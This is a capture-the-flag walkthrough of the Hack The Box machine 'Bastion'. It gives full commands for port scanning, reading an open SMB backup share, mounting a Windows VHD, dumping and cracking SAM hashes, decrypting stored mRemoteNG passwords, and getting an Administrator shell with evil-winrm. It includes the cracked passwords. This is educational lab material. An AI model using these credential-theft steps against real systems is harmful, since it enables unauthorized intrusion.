Bastion

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.134 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.134 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's try to list the SMB shares with smbclient.

smbclient -L 10.10.10.134 -N

  • -L get a list of shares available on the host.

  • -N makes use of a null session, don't ask for password.

There is one interesting share called Backups. Let's see if we can read it's content with smbmap.

smbmap -H 10.10.10.134 -u "root"

  • -H IP address of host.

  • -u username.

Exploitation

As we can read and write in the Backups share, we could make a new directory called smb, and mount that share on that directory.

mkdir smb

mount -t c //10.10.10.134/Backup smb/

Now we can see the content of the Backups share more comfortably. If we inspect the share, we'll see two .vhd files.

.vhd files represents a virtual hard disk drive. It contains the same as what can be found on a physical hard disk, such as disk partitions and a file system, apart from files and folders.

ls -l smb/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/

To see what is in those files, we'll have to mount them to a new directory. Let's create the vhd directory, and mount try to mount those files into that directory with guestmount.

mkdir vhd

guestmount -a smb/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro vhd/

  • -a add image.

  • -i automatically mount filesystems.

  • --ro mount read-only.

Now we could see a Windows filesystem inside the vhd/ directory.

ls -l vhd/

As we have access to the entire Windows filesystem, we could try to obtain some credentials with the SAM and SYSTEM files located in the C:\Windows\System32\config directory.

cd vhd3/Windows/System32/config

To extract the password hashes from those files, we'll have to use secretsdump.

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

  • -sam SAM file to parse.

  • -system SYSTEM file to parse.

Now that we have the NT hashes for the system users, we could try to break those hashes with john.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT hashes

Now that we have the password for the L4mpje user, we could log in via SSH to the machine as the L4mpje user. Then, we'll be able to grab the user flag.

sshpass -p 'bureaulampje' ssh L4mpje@10.10.10.134

Privilege Escalation

At this point, if we start enumerating the system, we'll see that the mRemoteNG software is available on the system.

dir "\Program Files (x86)"

If we search on the internet ways to escalate privileges exploiting this software, we'll find a GitHub repository, with a python script.

git clone https://github.com/kmahyyg/mremoteng-decrypt

This python script is able to decode the encoded passwords stored in the \Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml file.

type \Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml

Let's copy the Administrator encoded password, and run the python script.

python mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

Now that we have the Administrator password, we could get a shell with evil-winrm, and then all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.134 -u "Administrator" -p "thXLHM96BeKL0ER2"

  • -i remote host IP address.

  • -u username.

  • -p password.

Last updated

Was this helpful?